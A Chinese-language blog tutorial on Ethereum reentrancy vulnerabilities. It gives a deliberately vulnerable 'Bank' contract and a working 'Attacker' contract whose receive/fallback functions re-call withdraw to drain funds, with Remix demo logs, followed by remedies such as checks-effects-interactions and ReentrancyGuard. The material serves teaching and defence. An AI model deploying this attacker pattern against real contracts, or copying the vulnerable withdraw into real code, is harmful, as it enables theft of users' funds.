智能合约安全-重入漏洞

背景:由于公链环境下所有的信息都是共享的,智能合约相当于是完全透明化,任何人都可以调用,外加一些利益的驱动,导致引发了很多hacker的攻击。其中重入 (Re-Entrance) 攻击是以太坊中的攻击方式之一,例如The DAO 事件被盗取了大量的以太币从而造成了以太坊的硬分叉。

目标:将目标合约里的所有资金(ether)进行盗取,从而认识以及预防重入攻击漏洞。

前言

在进入今天的正题之前,我们先来看一段典型的有重入漏洞的代码:

 function withdraw() public {
        (bool success,) = msg.sender.call{value: shares[msg.sender]}("");
        if (success)
            shares[msg.sender] = 0; 
}

上述方法的业务也很简单,提取调用者存入的钱,成功后将其余额设为零。

不知道大家脑海里有没有发出这样的疑问:这怎么就存在重入漏洞了呢?

如果你存在这样的疑惑,那么请由我来讲解一下其中的知识。在开始之前需要大家清楚几个知识点:

1. 重入定义
什么是重入?按官方的解释为"Any interaction from a contract (A) with another contract (B) and any transfer of Ether hands over control to that contract (B). This makes it possible for B to call back into A before this interaction is completed."
为方便记忆,暂且可以简单的理解为我们开发者传统印象中的递归。

2. 特殊函数
这里的特殊函数是指在合约交互发送ether转账时,会隐式触发调用的函数,包含receive和fallback。按官方解释为"If no receive function exists, but a payable fallback function exists, the fallback function will be called on a plain Ether transfer. If neither a receive Ether nor a payable fallback function is present, the contract cannot receive Ether through regular transactions and throws an exception."通俗的来说就是当你的合约接收ether时,必须至少包含这俩函数中的一个。

3. 转账操作
什么是转账???对,没错,就是你脑子里想的那样。在这里是指在两个以太坊账户之间的发送和接收ether的操作。但需要知道的一点是以太坊上的账户分为两种,即普通账户和合约账户。
在以太坊上转账操作常见的函数包括三种.transfer().send().call{value:xxx}("")

在各位了解了基本的知识后,下面我们开始进入今天的正题:我将通过一个示例来进行演示,通过重入漏洞,盗取一个“银行”里的全部资金。

示例涉及到两个合约,一个为资金管理合约,一个为攻击者合约。其完整代码如下:

pragma solidity >=0.6.0 <0.9.0;

// 资金管理合约
contract Bank {
    mapping(address => uint) balances;
    constructor() payable {
         balances[msg.sender] += msg.value;
    } 

    function withdraw() public {
        // 提取存入的钱
        (bool success,) = msg.sender.call{value: balances[msg.sender]}("");
        if (success)
            balances[msg.sender] = 0; // 将余额设置为零
    }

    function deposit() payable public {
        balances[msg.sender] += msg.value; // 存入钱
    }

    function balanceOf(address depositor) public view returns(uint){
        return balances[depositor];
    }

    function totalAmount() public view returns(uint){
        return address(this).balance;
    }

}

// 攻击者合约
contract Attacker {
    Bank bank;
    constructor(Bank _bank){
        bank = _bank;
    }

    function balanceOf() public view returns(uint){
        return address(this).balance;
    }

    function deposit() payable public {
        bank.deposit{value:msg.value}();
    }

    function withdraw() public {
        bank.withdraw();
    }
    
    event Receive(address from, uint amount);
    receive() external payable{
    bank.withdraw();
       emit Receive(msg.sender,msg.value);
    }
    
    event Fallback(address from, uint amount);
    fallback() external payable {
       bank.withdraw();
       emit Fallback(msg.sender,msg.value);
  }
}

合约部署

为其方便演示在此使用remix进行测试环境准备。首先,部署资金管理合约,并初始化存入100Wei(为显示方便,其金额任意)。结果如下:


资金管理合约.png

然后,部署攻击者合约,结果如下:


攻击者合约.png

重入攻击

首先,存入ether。因为资金管理合约的提款逻辑为提取自己已存入的,所以我们需要先存入。结果如下图:


余额信息.png

然后,提取ether,利用重入漏洞将额外的资金进行盗取。交易执行成功后,查询提取的资金信息。结果如下图:


攻击者合约余额.png

该笔交易的事件日志信息如下:

[{
        "from": "0xf8e81D47203A594245E36C48e151709F0C19fBe8",
        "topic": "0xd6717f327e0cb88b4a97a7f67a453e9258252c34937ccbdd86de7cb840e7def3",
        "event": "Receive",
        "args": {
            "0": "0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8",
            "1": "20",
            "from": "0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8",
            "amount": "20"
        }
    },
    {
        "from": "0xf8e81D47203A594245E36C48e151709F0C19fBe8",
        "topic": "0xd6717f327e0cb88b4a97a7f67a453e9258252c34937ccbdd86de7cb840e7def3",
        "event": "Receive",
        "args": {
            "0": "0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8",
            "1": "20",
            "from": "0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8",
            "amount": "20"
        }
    },
    {
        "from": "0xf8e81D47203A594245E36C48e151709F0C19fBe8",
        "topic": "0xd6717f327e0cb88b4a97a7f67a453e9258252c34937ccbdd86de7cb840e7def3",
        "event": "Receive",
        "args": {
            "0": "0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8",
            "1": "20",
            "from": "0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8",
            "amount": "20"
        }
    },
    {
        "from": "0xf8e81D47203A594245E36C48e151709F0C19fBe8",
        "topic": "0xd6717f327e0cb88b4a97a7f67a453e9258252c34937ccbdd86de7cb840e7def3",
        "event": "Receive",
        "args": {
            "0": "0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8",
            "1": "20",
            "from": "0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8",
            "amount": "20"
        }
    },
    {
        "from": "0xf8e81D47203A594245E36C48e151709F0C19fBe8",
        "topic": "0xd6717f327e0cb88b4a97a7f67a453e9258252c34937ccbdd86de7cb840e7def3",
        "event": "Receive",
        "args": {
            "0": "0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8",
            "1": "20",
            "from": "0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8",
            "amount": "20"
        }
    },
    {
        "from": "0xf8e81D47203A594245E36C48e151709F0C19fBe8",
        "topic": "0xd6717f327e0cb88b4a97a7f67a453e9258252c34937ccbdd86de7cb840e7def3",
        "event": "Receive",
        "args": {
            "0": "0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8",
            "1": "20",
            "from": "0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8",
            "amount": "20"
        }
    }
]

另外,我们查看一下资金管理合约的余额信息,结果如下图:


资金管理合约.png

解决方案

通过上面的示例,细心的朋友可能已经大概明白,其实重入攻击漏洞是因为触发了特殊函数(receive或者fallback)造成递归调用转账,目前常用的解决方案有下面几种:

方案一、 使用安全的转账函数
使用内置的 transfer或send 函数,因为transfer和send在转账时会传递2300Gas,不足以执行重入调回合约操作,而.call会传递所有可用的Gas(当然也可以设置传递可用的Gas)。

方案二、使用官方推荐的检查-生效-交互模式 (checks-effects-interactions)

 function withdraw() public {
        uint share = shares[msg.sender];
        shares[msg.sender] = 0;
        payable(msg.sender).transfer(share);
    }

方案三、使用专门针对重入攻击的安全合约

例如OpenZeppelin 官方库中的安全合约ReentrancyGuard.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

abstract contract ReentrancyGuard {
    // increase the likelihood of the full refund coming into effect.
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;
    uint256 private _status;
    constructor() {
        _status = _NOT_ENTERED;
    }

    modifier nonReentrant() {
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
        _status = _ENTERED;
        _;
        _status = _NOT_ENTERED;
    }
}

今天的讲解到此结束,感谢大家的阅读,如果你有其他的方案,欢迎一块交流。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,098评论 5 476
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,213评论 2 380
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 149,960评论 0 336
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,519评论 1 273
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,512评论 5 364
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,533评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,914评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,574评论 0 256
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,804评论 1 296
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,563评论 2 319
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,644评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,350评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,933评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,908评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,146评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,847评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,361评论 2 342

推荐阅读更多精彩内容